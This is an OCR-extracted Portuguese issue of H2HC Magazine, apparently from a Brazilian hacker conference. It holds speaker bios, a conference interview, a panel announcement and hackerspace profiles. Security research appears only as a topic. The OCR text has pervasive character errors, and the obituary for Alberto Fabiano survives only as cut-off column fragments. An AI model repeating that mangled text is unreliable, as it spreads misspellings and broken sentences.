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Andres Riancho

Andres Riancho é um especialista em seguranca de aplicagcdes que atualmente atua

g na comunidade Open Source com o projeto w3af que prove servicos para Pentest de
/. Aplicacdes Web para empresas no mundo.

N )]W Na area de pesquisa, ele descobriu vulnerabilidades criticas em appliances IPS da

3Com, contribuiu também com a pesquisa realizada com SAP em um de seus ex-

empregadores e relatou centenas de vulnerabilidades em aplicagdes web.

Seu foco principal sempre foi o campo de seguranca de aplicacées Web, no qual desenvolveu o w3af,
um framework para Aplicacdes Web e Auditoria amplamente utilizado pelos consultores de seguranca
e pentesters. Andrés palestrou e ministrou treinamentos em diversas conferéncias de seguranca ao
redor do mundo, como PHDays (Moscow), SecTor (Toronto), OWASP (Polénia), CONFidence (Polo6nia),
OWASP World cOn (EUA), CanSecWest (Canada), T2 (Finlandia ) e Ekoparty (Buenos Aires).

Andres fundou a empresa Bonsai em 2009, que € uma consultoria focada na web com o objetivo de
melhor pesquisar sobre deteccé&o de vulnerabilidades e exploragdo automatizada de aplicagdes Web.
Suas Especialidades: Seguranca em Aplicagcbes Web, Python, evasao de IPS, pesquisa de seguranca
da informacao em geral, desenvolvimento de software Agile e Scrum.

Brad Spengler

“Eu tenho uma tia que se comunica no mesmo estilo que o Spengler. Ou ela faria se
ela pudesse - Ninguém fala com ela. Ninguém quer”. -nix

“O grande numero de bons desenvolvedores que nao vao perto é porque ele é muito
desagradavel e ndo estao indo para prestar atencéo no Spengler, porque ouvir suas
licoes de seguranca € como ficar bem louco com acido”-nix
“3812e371986ad24ace67bab90fd07ca4 ‘Nao contam como relatar uma falha, mes-
mo que fosse preciso. Para quem estiver interessado, ele realmente me enviou um e-
mail com isto. Que eu nao tinha idéia do que isso significava. Varios meses depois que eu aprendi o que
era 0 hash MD5 de uma frase explicando como meu c6digo néao funcionou e foi bastante merda poderia
ter tido tudo isso esclarecido muito mais rapido se vocé acabou de me dizer. “-Eric Paris

“Spender ndo é um profissional de seguranca, ele € um blackhat puro e simples.” -Joshua Brindle

Brad Spengler também desenvolveu grsecurity e esteve envolvido na seguranca do Linux por mais de
uma década.

Julian Bangert

Julian Bangert é estudante junior de ciéncia da computagéo na Dartmouth College.
Quando ele nao esta trabalhando em novos mecanismos de defesa ou pegando ca-
choeiras em seu caiaque, ele € um cowboy do Norte Appalachia que captura es-
pécimes para a maquina do estranho zoolégico do seu professor Sergey Bratus.
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Rebecca Shapiro

. Rebecca. “Bx” Shapiro é estudante em uma faculdade pequena no Norte Appalachia.

Ela gosta de mexer com sistemas de maneiras para poder encontrar fontes ocultas de
computacao. Ela espera continuar este trabalho para encontrar mais espécimes para
a maquina do estranho zoolégico de Sergey Bratus.

Sergey Bratus

- Sergey Bratus é um Professor Assistente de Pesquisa de Ciéncia da Computagéo na
Dartmouth College. Ele tenta ajudar colegas académicos para entender o valor e a
relevancia da pesquisa hacker. E sua ambicéo colecionar e classificar todos os tipos
de maquinas estranhas, ele também é um membro da conspiracédo http://langsec.org
para eliminar grandes classes de erros.

Jurriaan Bremer

Pesquisador de seguranca Freelancer da Holanda interessado nas areas de engen-
haria reversa, analise de malware, seguranca movel, e no desenvolvimento de soft-
ware para auxiliar na analise de seguranca. Jurriaan ocasionalmente tem participa de
Capture the Flag como membro da equipe De Eindbazen CTF em seu tempo livre, ele
funciona como um dos principais desenvolvedores de Cuckoo Sandbox.

'Rodrigo Chiossi

Pesquisador de seguranca profissional do Brasil, ele vem trabalhando com Segu-
ranca em Android por cerca de 3 anos no laboratério de pesquisas da Samsung em
Campinas, Sao Paulo. Rodrigo € o fundador do projeto AndroidXRef e também um
dos membros da equipe de rede wargame SmashTheStack. Ele eventualmente gosta
de jogar ctfs com a equipe de Bandits binario e é o atual vencedor do Desafio Mal-
' ware Android de BSides Londres.
/|

Jan Seidl

Apaixonado por *NIX, BSD, C & Python. Profissional e pesquisador em seguranca da
informacao, recentemente especializando-se em seguranca de automacgao (SCADA/
ICS), pentester e pesquisador de malware dedicado com larga experiéncia administ-
rando a seguranca de servidores, redes e aplicagdes.
Autor do blog de infosec http://wroot.org, pesquisador na DC Labs e atualmente coor-
denador técnico da Tl Safe Segurancga da Informacéo.




Charlie Miller

Antes de seu emprego atual, ele passou cinco anos trabalhando para a Agéncia de
Seguranca Nacional. Miller demonstrou suas habilidades em Hacking publicamente
sobre os produtos fabricados pela Apple. Em 2008 ele ganhou um prémio de US $
10.000 no Pwn20wn, conferéncia hacker em Vancouver no Canada, por ser o pri-
meiro a encontrar um bug critico no ultrafino MacBook Air. No ano seguinte, ele gan-
hou US $ 5.000 para achar uma falha no Safari.

Em 2009, ele também demonstrou uma vulnerabilidade de processamento de SMS que permitiu com-
prometer por completo o iPhone da Apple e os ataques de negacéo de servico em outros telefones. Em
2011 ele descobriu uma falha de seguranca em um iPhone ou iPad no qual um aplicativo pode contatar
um computador remoto para baixar o novo software n&o aprovado que pode executar qualquer comando
que poderiam roubar dados pessoais ou utilizar aplicativos e fungdes do iOS para fins maliciosos.

Como prova de conceito, Miller criou um aplicativo chamado Instastock que foi aprovado pela App Store
da Apple. Ele, entéo, informou a Apple sobre a falha de seguranca, que, entdo, prontamente expulsou-o
da App Store. Ele esta recentemente fazendo uma pesquisa sobre a descoberta de vulnerabilidades de
seguranca em NFC (Near Field Communication). Miller tem Ph.D. em matematica pela Universidade de
Notre Dame, e atualmente vive em St. Louis, Missouri.

Edmond Rogers

Il Antes de se juntar a equipe, Edmond Rogers foi envolvido ativamente como um par-
ticipante da industria em muitas das atividades de pesquisa no programa TCIPG do
ITI. Essas atividades incluiram NetAPT (Ferramenta de Politica de Acesso de Rede)
e LZFuzz (Proprietary Fuzzing Protocol). Antes do ITl, Edmond era um analista de
seguranca para AMEREN Servicos a Fortune 500 com Investidores Utility Owned, e
suas responsabilidades incluiam a seguranca cibernética e os aspectos de conformi-
dade da rede SCADA de Ameren.

Antes do utilitario, Edmond era um Gerente de Seguranca e arquiteto de rede para Boston Financial Data
Systems (BFDS). BFDS era um agente de transferéncia de 43% de todos os fundos mutuos. Edmond
comecou sua carreira fundando um dos primeiros Internet Service Providers em Kentucky, Bluegrass.
Net.

Rogers aproveita sua vasta experiéncia para auxiliar pesquisadores ITl na criacao de condicdes de labo-
ratorio que reflete de perto a configuracdo do mundo real.

Joaquim Espinhara

Joaquim Espinhara € um consultor de seguranca da Trustwave. Ele € um membro
da Trustwave SpiderLabs - a equipe de seguranga avancada focada em pentest, res-
' posta a incidentes e seguranca do aplicativo.

Espinhara tem sete anos de experiéncia e tem feito pesquisa de seguranca. Apre-
sentou palestras em conferéncias de seguranca (H2HC, YSTS, SilverBullet e Vale
Security Conference) nas areas de redes sem fios, pentest, seguranca em SAP,
seguranca de banco de dados. Também tem interesse em engenharia reversa do cédigo e pesquisa de
vulnerabilidades. Entusiasta em ciberguerra.




Ulisses Albuquerque

Ulisses Albuquerque € um consultor de seguranca dentro de Seguranca de Aplica-
cbes na SpiderLabs da Trustwave. Ele possui uma forte formacdo em engenharia
de software, com experiéncias que vao desde o desenvolvimento de drivers de dis-
positivo Linux para sistemas embarcados para a concepcéo e implementacéo de um
ecossistema de software de missao critica MSS.

Ulisses tem uma larga experiéncia em tanto em testes de aplicativos como de rede,
e é particularmente interessado em plataformas mais obscuros / nicho. Ele tem um

relacionamento de longa data com vérios projetos de software livre, e tem trabalhado extensivamente
com varias ferramentas de seguranca abertas. Ulisses também lecionou varios cursos sobre seguranca
de rede, buffer overflows e desenvolvimento de aplicacdes web seguras em varios cursos de pos-grad-

uacéo.

P Felix FX Lindner

o

Felix “FX” Lindner é da Recurity Labs. FX tem mais de 10 anos de experiéncia na
industria de computadores, oito deles em consultoria para grandes empresas e cli-
entes de telecomunicacdes. Possui vasto conhecimento de ciéncias da computacéo,
telecomunicacgdes e desenvolvimento de software. Sua formacao inclui gestao e par-

ticipacdo em uma grande variedade de projetos com énfase em planejamento de se-
__ guranca, implantacao, operacao e testes utilizando métodos avancados em diversos
ambientes técnicos. FX é bem conhecido na comunidade de seguranca de computa-
dores e apresentou sua pesquisa Phenoelit’s na Black Hat Briefings, CanSecWest, PacSec, DEFCON,
Chaos Communication Congress, MEITSEC e vérios outros eventos. Seus temas de pesquisa incluiram
Cisco 10S, impressoras HP, SAP e RIM BlackBerry. Felix tem um titulo de Estado-Certificado de As-
sistente Técnico de Informatica e Tecnologia da Informacao, bem como Certified Information Systems
Security Professional.

Fernando Mercés

Fernando é Engenheiro Regional da TrendLabs da Trend Micro - Brasil

Entusiasta de Open Source

Programador College-Level em C

Mantenedor do PEV, um kit de ferramentas para analise de arquivo executavel e out-
ras ferramentas relacionadas a seguranca da informacéo.

A +, LPIC-3, certificado MCP

Palestrante da H2HC, FISL, LinuxCon e outras conferéncias

Amante Debian GNU / Linux

Grande fa de Cerveja

Jonathan Brossard

Jonathan é um brasileiro nascido por engano no corpo de um Francés !! Desde a
adolescéncia, ele tenta combater essa injustica comendo tanto picanha (e mulher .br,
porém com muito menos sucesso). Ja palestrou varias vezes na Blackhat, Defcon,
CCC e HITB.

Apaixonado pelo vasco, MPB e principalmente pelo assembly, ele opera “due dilli-
@ gence” e Redteaming para empresas do top 500 no mundo inteiro. No momento, ele
B vive na Austrélia aonde atua como CEO da AFQ.




Julien Venegue

Julien Vanegue é um profissional com experiéncia em engenharia reversa, programa-
¢ao e andlises de exploragao. Liderou o ELF shell / projeto ERESI e desenvolveu o
verificador HAVOC Microsoft. Julien trabalha como arquiteto de Seguranca em Nova
York, EUA.

Otavio Cunha

, Otavio Cunha, Engenheiro Eletrénico, trabalha ha 30 anos na area de se-
guranca de informacao e comunicagdes.
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PaX Team

Para nao ser superado pelo Spender, aqui vao algumas citagdes:

Spender: Ainda bem que vocé nao é um dos muitos perdedores egoistas que comu-
mente encontramos na “comunidade de seguranca”

Ivan Arce: @ sergeybratus Eu j& disse a alguns deles que PaX foi a inovacao de
seguranca mais importante das ultimas décadas

A Equipe PaX tem desenvolvido, vocé adivinhou, Pax, nos ultimos 12 anos. Se vocé
acha que seu rabo foi salvo por este trabalho no passado, vocé é nosso convidado
para nos pagar uma cervejal

Tony Rodrigues

Um gestor experiente na industria de tecnologia da informacéo, utilizando fortes habi-
lidades de tecnologia da informacao para implementar estratégias de negécios e mel-
horar os processos. Tony possui mais de vinte anos de experiéncia em Tl, 11 anos de
) trabalho para as empresas de todo o mundo e oito anos na posicédo de meio-gestao;

Palestrante em Seguranca da Informacédo, Computacéo Forense e eventos da con-
sciéncia da continuidade de negocios; Apresentacdes Conferéncias Internacionais
(CNASI, H2HC, YSTS, OWASP AppSec, WebSecForum, Seglinfo, ValeSecInfo); Especialista em forense
computacional,
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Diego Fuschini

4’\ o , Profissional de Seguranca da Informagéo Independente

Chris Valasek

Valasek é o Diretor de Inteligéncia de Seguranca na IOActive. Como parte da equipe
de pesquisa de seguranca no Gabinete do CTO da Coverity, Antes da Coverity, Va-
lasek era um cientista de pesquisa sénior no Accuvant Labs e IBM Internet Security
Systems.

O foco de pesquisa de Valasek abrange areas como descoberta de vulnerabilidade,
técnicas de exploracdo e engenharia reversa, contribuindo para divulgagdes publicas
e pesquisa de autoria sobre estes temas para a comunidade de seguranca em geral.
Valasek apresentou sua pesquisa em grandes conferéncias internacionais de seguranca como Black
Hat, incluindo EUA e Europa, Ekoparty, Infiltrate, e RSA, e é o presidente do SummerCon, a convengao
de hackers mais antiga do pais.

' M Stefano Zanero

Stefano Zanero recebeu um PhD em Engenharia da Computagao pela Politécnica

de Milano, onde atualmente é professor assistente no Departamento de Eletronica,
. Informatica e Bioengenharia. A sua investigacao centra-se na deteccao de intrusao,
|, ¥ analise de malware, e sistemas de seguranca. Além de ensinar “Seguranca Informati-
. ca” no Politécnico, ele tem uma extensa experiéncia de formagao na ltalia e no exte-
rior. Ele foi co-autor de mais de 40 artigos cientificos e livros. E um editor associado
do “Jornal de computacao Virologia”. Ele € um membro sénior do IEEE (cobrindo

posicdes de voluntarios a nivel nacional e regional), o IEEE Computer Society (para o qual ele € membro
do Conselho de Administracdo), e membro vitalicio da ACM. Stefano é também co-fundador do capitulo
italiano da ISSA (Information System Security Association), da qual ele € membro sénior. A muito tempo
€ escritor para revistas (entre os quais “World Computer”), Stefano também é co-fundador e presidente

da Secure Network Srl, empresa de consultoria lider italiana em informacdes de seguranca.

Travis Goodspeed

Travis Goodspeed é um engenheiro reversa do sul dos Apalaches, onde ele esta em
processo de restauracdo de uma TV para a digitalizacdo de torres de microondas.
Seu trabalho anterior inclui o ataque Packet-in-Packet, um disco rigido ativamente
anti-forense, e a placa Facedancer para emulacao de dispositivo USB.
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I R.1.P Alberto Fabiano
POR ANCHISES DE PAULA

“Quando um homem morre, é como se uma bib-
lioteca inteira se incendiasse.”
Provérbio africano.

Nenhuma frase poderi
significa o falecimen
grande amigo e um
que pude conhecer.
esta frase no Blog d

O Alberto nos deixou
itava sua cidade nat
um ataque cardiaco.
triste, que pegou a todo
ixou sem a chance de u
ultima conversa.

O Alberto era uma bi
de uma conversa fa
tecnologia, ciéncia
cientifica era pra
que ele mesmo

uicdo do volume de dados do Google
proximos dias.

varios apelidos, que ele cole-
ssar dos anos: Alberto, Aleph
leph Lépton Leptos), Tech-
rto, ALFCM, @alfacme, A.,
Red, Fabiano, etc. Por
s de brincar com ele que
sonalidades que habita-
e vez em quando, ele
seguidas na mesma
ao de que tinha re-
le mesmo postava.

escrito tanta coisa
me sentia tentado

a copiado o texto de
va conhecer ele pes-
er a verdade: o Alberto
o em termos de conheci-
iscusséo ficardao mais sem
entes e menos verborragi-
z o proprio Google perceba

munidades Alberto era um
exemplo de & ar o conhecimen-
to com um bel anidade.
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necessidade de um novo paradigma para
Agarantir a privacidade e uma analise so-
re os principais motivos das falhas em
ferramentas de seguranca serdo os temas do
painel Hackers to CSO, na abertura da Hackers
to Hackers Security Conference, o maior evento
sobre seguranca da informacgao da América Lati-
na. Estes temas serdo discutidos entre famosos
hackers brasileiros e os Chief Security Officers
que se destacam no mercado.

Nos dias 5 e 6 de outubro, acontecera em Sao
Paulo o Hackers to Hackers Conference (H2HC),
0 maior evento sobre seguranca da informacéo
da América Latina, com a presenca dos hackers
mais famosos do mundo e painéis que prome-
tem esquentar as discussdes sobre o tema.

Entre os destaques, esta o painel Hackers to
CSO (H2CSO), com a presenca de 6 dos Chief
Security Officers que mais se destacam no mer-
cado e 6 famosos hackers brasileiros, que de-
batem temas atuais do mercado de seguranca e
suas implicagoes.

A programacao do evento abrird com uma breve
apresentacdo do mestre de cerimbnias Paulo
Veloso, introduzindo os temas a serem discuti-
dos e apresentando os convidados a mesa.

A mesa serd composta, em cada uma das tril-
has do painel, por 3 hackers e 3 CSOs, acom-
panhados sempre do moderador Galeno Garbe,
ao qual cabe o dificil trabalho de combinar dois
mundo muitas vezes opostos, e a0 mesmo tem-
po iguais.

A grade de programacao contara com uma trilha
inicial com o tema “ Privacidade nos tempos de
PRISM”, onde pretende-se discutir sobre uma
possivel mudanca de paradigma apés graves
revelacdes de espionagem pelo governos amer-
icano, entrando na seara de protecdo de dados
criticos e a privacidade dos dados das empre-
sas e governo.

Na trilha seguinte, o tema passa para o uso, cor-

B Painel HACKERS to CSO
(H2CSO) na H2HC

POR PAULO VELOSO

reto ou n&o, das ferramentas de seguranca e
os principais motivos de suas falhas. Este tema
tem seu foco principal nas falhas de uso/imple-
mentacdo das ferramentas de seguranca e os
desafios que os dois lados, hackers e CSOs,
possuem na escolha, implementacéo e uso de
tais ferramentas.

O H2CSO tem como objetivo incentivar uma am-
pla discussao acerca dos desafios e as tendén-
cias em solugdes na esfera da seguranca da
informacéo.

Dirigido a usuérios, gestores, fornecedores e
especialistas do setor, o painel contara com
debates e discussdes com profissionais de alta
qualificacéo, sempre dispostos e expor e discutir
suas experiéncias e pontos de vista.

Compartilhar experiéncias

Nos dois painéis do H2CSO, os participantes
terédo a chance contribuir com sua vivéncia na
area de Seguranga da Informag¢do e compar-
tilhar suas experiéncias e pensamentos, pro-
vindos dos mais diversos setores de negécios,
estabelecendo um panorama abrangente do
segmento durante as discussoes.

Outro ponto alto da programacgao sera o lanca-
mento do Projeto CSO CLUB, iniciativa que val-
orizara o trabalho dos profissionais e lideres de
Seguranca e Risco das grandes e médias em-
presas brasileiras, refletindo assim a importan-
cia do tema e proporcionara um ambiente de tro-
ca de informacdes e conhecimento para o setor.

Para o mestre de cerimbnias do painel, esta é
uma grande oportunidade para todos profission-
ais do mercado terem a chance de compartilhar
suas experiéncias e ouvirem de alguns profis-
sionais de destaque do mercado suas idéias e
posicionamentos.

“O painel foi pensado para proporcionar um
ambiente onde ndo apenas os profissionais téc-
nicos tem a chance de expor suas idéias e pre-
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ocupacdes sobre um tema, mas também obser-
varmos o ponto de vista dos gestores das areas
de seguranca, afinal o mercado é formado por
dois lados de uma mesma moeda”’, diz Paulo
Veloso.

No seu segundo ano a frente da moderacao do
painel, Galeno Garbe divide sua visdo como
moderador e explica a importancia desse painel
dentro de um evento como o H2HC. “O painel
Hacker to CSO é um dos pontos altos do evento
e 0 Unico com esse formato no mundo. E uma
oportunidade singular para ouvir assuntos atuais

)
<O Fire Eye

Next Generation Threat Protection

e inteiramente relevantes para a comunidade e
toda a sociedade, dos pontos de vista dos ges-
tores e dos pesquisadores. Simplesmente im-
perdivel!”, afirma ele.

O H2CSO conta com o patrocinio das principais
empresas do setor, além do apoio de diversas
entidades, universidades e hackerspaces.

Mais informacdes sobre o evento no seguinte
link: www.h2hc.com.br

MAIS DE @ 5% DAS EMPRESAS
ESTAO COMPROMETIDAS

FIQUE ENTRE OS 5%
CONTATE A FIREEYE

WWW.FIREEYE.COM

Y @fireeye minszucko@fireeye.com [ +55 11 99434-2246
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HACKERS TO HACKERS CONFERENCE

y

TEXTO POR LAILA DUELLE;

IMAGENS CEDIDAS PELO
PUBLICO

A Hackers to Hackers Conference, mais conhecida como H2HC é a maior

e mais antiga conferéncia de seguranca da informacéo da América La-

tina, e esta completando sua 12 década de existéncia. Uma conferéncia

que se consolidou com o passar dos anos e tomou muita forca no mer-
cado e o respeito de grandes profissionais.

Sempre feita com muito conteudo e palestrantes de alto nivel, em seus
10 anos de historia e sucesso a H2HC se tornou um icone da area.

E para falar sobre toda a trajetoria da H2HC convidamos Rodrigo Rubira

Branco, um dos responsaveis pela conferéncia e Ygor da Rocha Parreira,

um dos idealizadores da mesma, para falarem um pouco sobre a historia,
o presente e futuro da H2HC. Veja a reportagem :
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H2HCMagazine: Por que criar uma conferéncia
de Seguranca da Informacao no Brasil?

Rodrigo: A idéia da conferéncia surgiu do Ygor,
que viu na mesma uma forma de conseguir re-
unir 0s amigos da internet em um Unico local,
sendo a mesma apenas uma desculpa para que
todos pudessem faltar aos trabalhos (e talvez
até tivessem a vinda patrocinada pelas empre-
sas). Porisso o nome tao sugestivo: De hack-
ers para hackers (Hackers to Hackers).

Outro motivador foi o fato de que as conferén-
cias até entdao eram muito tedricas (leia-se ape-
nas slides), onde o palestrante quando ques-
tionado respondia algo do tipo “me manda um
e-mail que te respondo”. Ai queriamos fazer algo
com o verdadeiro espirito hacking, onde todas
as palestras tinham que ter uma demonstragao
pratica como prova do conceito apresentado,
onde quem estivesse assistindo poderia fazer
questionamentos que seriam respondidos na
hora, com demonstracao pratica.

Conforme os anos foram passando e a con-
feréncia aumentando, também ficava maior a
exigéncia de recursos para organiza-la, e do
tempo a se dedicar. Tomar decisbes era ex-
tremamente complicado pois tinhamos um co-
mité de organizagdo com 8 pessoas. O Balestra
era frequentador da conferéncia, mas nao fazia
parte da organizacéo.

Na quinta edic&o tudo estava atrasado e pare-
cia que nao conseguiriamos fazer o evento, eu
estava fora do pais e a coisa ndo movia, entao
propus ao comité que eu topava voltar e fazer
tudo acontecer, mas que dali para diante eu to-
maria as decisdes, me reunindo com a galera
(que eu chamo de os Originais) de tempos em
tempos para coletar feedbacks. Chamei entdo o
Balestra pra me ajudar e conseguimos fazer a
conferéncia acontecer!

Ygor: Foi isso mesmo. Como quem organiza-
va veio de um meio ndo muito organizado (do
underground hacker), tinhamos dificuldades
de fazer a coisa acontecer. A conferéncia nun-

"QUERIAMOS
FAZER ALGO COM O
VERDADEIRO
ESPIRITO HACKING,
ONDE TODAS AS
PALESTRAS
TINHAM QUE TER
UMA DEMONSTRACAO
PRATICA COMO PROVA
DO CONCEITO
APRESENTADO"

ca teve fins financeiros, onde em alguns anos
tivemos que bancar o prejuizo do prdprio bolso.

H2HC: E o por que do nome Hackers to Hack-
ers?

R: O nome foi criado pois literalmente descrevia
0s objetivos do evento, e nos causou diversos
desafios desde o inicio.

Sabiamos que muitas empresas iriam ver a pa-
lavra hacker de forma errbnea, mas estavamos
dispostos a lutar por isso.

Y: Exatamente. Quem sugeriu o nome foi o
Wendel Guglielmetti, que hoje trabalha na maior
equipe de testes de intrusdo do mundo. Todo
mundo que estava no inicio, continua trabalhan-
do com algo relacionado ao hacking.

H2HC: 10 anos se passaram desde a 12 edigcao,
0 que mudou pra vocés com relagéo ao publico,
a visdo do mercado e até na prdpria conferen-
cia?

R: Nossa, muito mudou. A conferéncia cres-
ceu, a qualidade das palestras aumento absur-
damente, com forte presenca internacional (de
fato, na 6a edicédo do evento fizemos uma vota-




¢cao com os participantes para saber

se deveriamos priorizar contetdo nacional ou
simplesmente aceitar os melhores trabalhos, in-
dependente de nacionalidade e a unanimidade
foi de que deveriamos aceitar os melhores).
Obviamente em termos de or¢amento ainda tin-
hamos limitacdo de quem aceitar, baseado em
custos do evento, mas nas ultimas edi¢des con-
seguimos superar tal fato.

Y: Realmente o nivel de organizagdo melhorou
sensivelmente, além da forte participacdo de
palestrantes internacionais de peso.

H2HC: E o que o publico pode esperar da 102
edicao?

R: Muito!! Primeiramente temos novas pessoas
ajudando na organizacéo, nao apenas com idé-
ias mas literalmente correndo atras de fornece-
dores, entao teremos diversos brindes interes-
santes, mais divulgagao (participacéo nas redes
sociais) e organizagado geral melhorada (por
exemplo, faziam 3 anos que nao tinhamos uma
agenda divulgada antes do evento, e para esta
edicdo ja temos a agenda mais de més antes do
mesmo).

Teremos também a revista H2HC impressa pela
primeira vez, o que permitir4 abrir espago para
artigos menos avangados na area e divulgacao
de novidades, tais quais os projetos dos Hack-
ers Spaces no Brasil.

O nivel das palestras esta de assustar! Nao
tenho duvidas que este sera um dos mais soli-
dos eventos ja vistos por qualquer participante,
includindo os palestrantes!

Y: Dificil ndo se empolgar com o nivel dos pal-
estrantes. Eu pesquiso sobre vulnerabilidades
de corrupcao de memoéria ha bastante tempo,
e sera excelente poder ter contato com o Brad
Spengler e PaX Team, dado que as tecnolo-
gias de protecdo para sistemas de uso geral
existentes atualmente foram criadas por eles.
Dentre outras coisas, eles conseguiram elimi-
nar por completo os problemas de Null Pointer
Dereference, coisa que o criador do Linux (Linus

“SABIAMOS QUE
MUITAS EMPRESAS
IRIAM VER A PA-
LAVRA HACKER DE
FORMA ERRONEA,
MAS ESTAVAMOS
DISPOSTOS A LUTAR
POR 1550"

Torvalds) até hoje ndo conseguiu (ou ndo quis)
fazer.

H2HC: E o futuro? O que esperar pros préximos
anos da conferéncia?

R: O futuro pertence a comunidade. Ela dita a
necessidade da conferéncia existir e o que deve
ser feito da mesma.

Se um dia a comunidade encontrar em outras
conferéncias o espirito do H2HC, pararemos
com o mesmo. Caso contrario, enquanto ti-
vermos forca manteremos a mesma no ritmo
de crescimento atual (entendam por favor que
pra nos crescer a conferéncia ndo significa au-
mentar 0 nUmero de pessoas, e sim aumentar
a qualidade do que se possui - este ano por ex-
emplo, diminuimos o numero de participantes
de 600 para 400).

17



I sJc Hacker Clube

18

POR SJC HACKER CLUB

L.

HACKER CLUBE

SJC Hacker Clube é o primeiro hacker-

Ospace do Vale do Paraiba.

Um hackerspace (Ou makerspace) é um misto
de laboratério comunitario e clube social. E um
espaco criado, mantido e gerenciado por um
grupo de pessoas, ligadas por um interesse co-
mum. Neste espaco sdo mantidas ferramentas e
infraestrutura como laboratoérios e salas de aula,
que permitem aos s6cios e pessoas da comuni-

dade trocar idéias, construir coisas e colaborar
em projetos comuns.

O SJC Hacker Clube esta fisicamente localizado
em Sao José dos Campos, proximo ao shopping
CenterVale. Mantemos nossa sede funcionando
através de mensalidades dos sécios e de doa-
cbes esporadicas. Atualmente contamos com
mais de 30 socios.

Temos diversas atividades abertas ao publico.
Para participar, envie um e-mail sei apresentan-

FONTE: SJC HACKER CLUB

do para a nossa lista de discussao, em sjchack-
erclube @googlegroups.com

Site: http.//www.sjchackerclube.com.br\
A Histéria do SJC Hacker Clube

O trecho abaixo tem por objetivo preservar essa
parte importante da nossa histéria que foi a
fundacéo do clube.

Nosso grupo atual é o resultado da unido de
diversas iniciativas semelhantes, que atuavam
separadamente pela regido, mas com um obje-
tivo em comum.

Por volta de 2011, um dos membros (Alex Por-
to), que ja estava participando ativamente do
Garoa Hacker Clube, em Sao Paulo, resolve
buscar companheiros para construir um hacker-
space em Sao José dos Campos. Nessa época
ele cria um cartaz e cola em diversas faculdades




da cidade (Etep, Ita, Univap, etc), convidando os
interessados a participar da lista hackerspaces-
jc@googlegroups.com

A resposta aos cartazes é boa. Cerca de 30
pessoas se cadastram no grupo, mas apenas
3 ou 4 participam das mensagens eventuais.
Algum tempo depois 0s membros desse grupo
descobrem outro grupo se reunindo no Parque
Santos Dumont, nas manhas de sabado, para
atividades com Arduino. Ap6s uma reuniao, no
mesmo parque, 0os dois grupos se unem e to-
dos passam a frequentar o mesmo quiosque do
parque, semanalmente.

Desta reunido surgiu o primeiro post no nosso
blog.

No final de 2011 aconteceu, em Séao José, o
evento ValeSecConf, uma conferéncia de se-
guranca da informacgédo organizada pelo Jordan
Bonagura. Alex ganhou um convite vip do An-
chises, fundador do Garoa, para que pudesse ir
ao evento promover a criacdo do hackerspace.
Essa passagem ilustra o apoio que sempre
recebemos do pessoal do Garoa, em especial
do Achises. Sem o apoio deles, dificimente
teriamos nosso espaco hoje.

Fernando Damiéo, responsavel pela comunica-
caodo evento, re-tuitamensagemde Alex. Na ép-
oca eles nao se conheciam ainda:https.//twitter.
com/ValeSecConf/status/110385373951176704
Apbs o ValeSecConf a lista de discusséo cres-
ceu um pouco, mas as coisas continuavam
devagar.

Até que em fevereiro de 2013, Jordan Bonagura
aparece numa reunidao no Parque Santos Du-
mont, disposto a levar a idéia do hackerspace
adiante. Jordan trazia um grupo de pessoas,
que também passaram a participar das reunidoes
do parque. A esses 3 grupos se uniu também
um grupo do Facebook chamado Vale Hacker
Clube, capitaneado pelo Giovane Liberato.

E foi apenas quando estes 4 grupos se junta-
ram que conseguimos a sinergia necessaria
para tocar esse ideal. Em apenas um més, com
a colaboracéao de varias pessoas, conseguimos

“E FOl APENAS
QUANDO ESTES 4
GRUPOS SE
JUNTARAM QUE
CONSEGUIMOS A
SINERGIA
NECESSARIA PARA
TOCAR ESSE IDEAL”

encontrar uma casa, aluga-la, montar uma in-
fraestrutura bésica, criar as documentacdes
minimas para gerenciar o clube, e fazer nos-
so churrasco de inauguragdo, no dia 7 de abril
de 2013

Fundacgao: 07/04/2013

Endereco: Rua Copenhague, 161 — Jardim Au-
gusta — Sao José dos Campos — Séo Paulo

Membros: 43

Atividades: Arduino, sistemas operacionais,
hacking, eletronica, robdtica, clube do livro, noite
de filmes, marcenaria, japonés, cubo magico,
lockpicking, entre outros.
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Oeste Hacker Clube

OESTE HACKER CLUBE
BAURU - SP

Oeste Hacker Clube, o hackerspace de
OBauru, nasceu depois do conhecimento
sobre hackerspaces na Campus Party
de 2011. Seu desenvolvimento foi mais lento no

comeco, resumida a uma lista de e-mails sem
um objetivo especifico.

Por volta de setembro de 2012, com a vinda
de novos membros, o Oeste comecou a tomar
gracga. Iniciaram novas discussdes, um logo foi
desenvolvido, camisetas foram criadas e houve
uma maior interacdo entre os participantes com
encontros frequentes visando a elaboracao de
projetos anteriormente discutidos.

Logo o OHC efetivou uma parceria com o SESC
Bauru que cedeu um espago com infraestru-
tura basica de rede e computadores para que
pudesse acontecer algumas atividades elabora-
das pelo hackerspace para todos que estives-
sem interessados.

POR OESTE HACKER CLUB

FONTE: OESTE HACKER CLUBE

A primeira atividade foi um minicurso de Python,
que aconteceu de Julho/2012 a Setembro/2012.
Esta primeira experiéncia foi tdo bem sucedida,
que atualmente é realizado um minicurso de
HTML 5 de Setembro/2012 a Dezembro/2012.

Outras atividades estéo prestes a ocorrer. Den-
tre elas, um wardriving pelos principais pontos
da cidade de Bauru, cujo objetivo € mostrar a
fragilidade da rede wireless sem a devida con-
figuracdo segura.

Como o objetivo é informar, ndo havera captura
de dados ou mesmo a quebra de protocolos de
protecao.

O OHC ainda nao possui uma sede fisica; en-
contros estdo sendo realizados para que se pos-
sa ter um minimo de pessoas interessadas em
contribuir com essa causa.



Area 31 HackerSpace

primeiro HackerSpace mineiro em fun-
Ocionamento, com apoio dos maiores

hackerspaces e eventos de tecnologia
do Brasil.

Um hackerspace é um laboratério comunitario,
aberto e colaborativo que propicia a troca de
conhecimento através de uma infraestrutura
para que entusiastas de tecnologia realizem
projetos em diversas areas, como eletrbnica,
software, robética, seguranca, espacomodel-
ismo, biologia, culinéria, audiovisual e artes -
OuU 0 que mais a criatividade permitir. Também
pode ser visto como uma oficina comunitaria e
um clube social. E um espaco criado e mantido
pelos seus membros, através do pagamento de
mensalidades e doacdes.

POR AREA 31 HACKERSPACE

FONTE: AREA 31 HACKERSPACE

Site: http:.//www.area31.net.br
Fundacgao: 11/08/2013

Endereco: Bairro Anchieta - Belo Horizonte -
Minas Gerais (restrito por enquanto apenas a
membros convidados)

Membros: 12

Atividades: Oficinas de raspberry pi, arduino, im-
pressoras 3D, modelagem 3D e sistemas opera-
cionais Unix e familiares. Administracéo, hacks,
ajustes, reparos e demais desenvolvimentos de
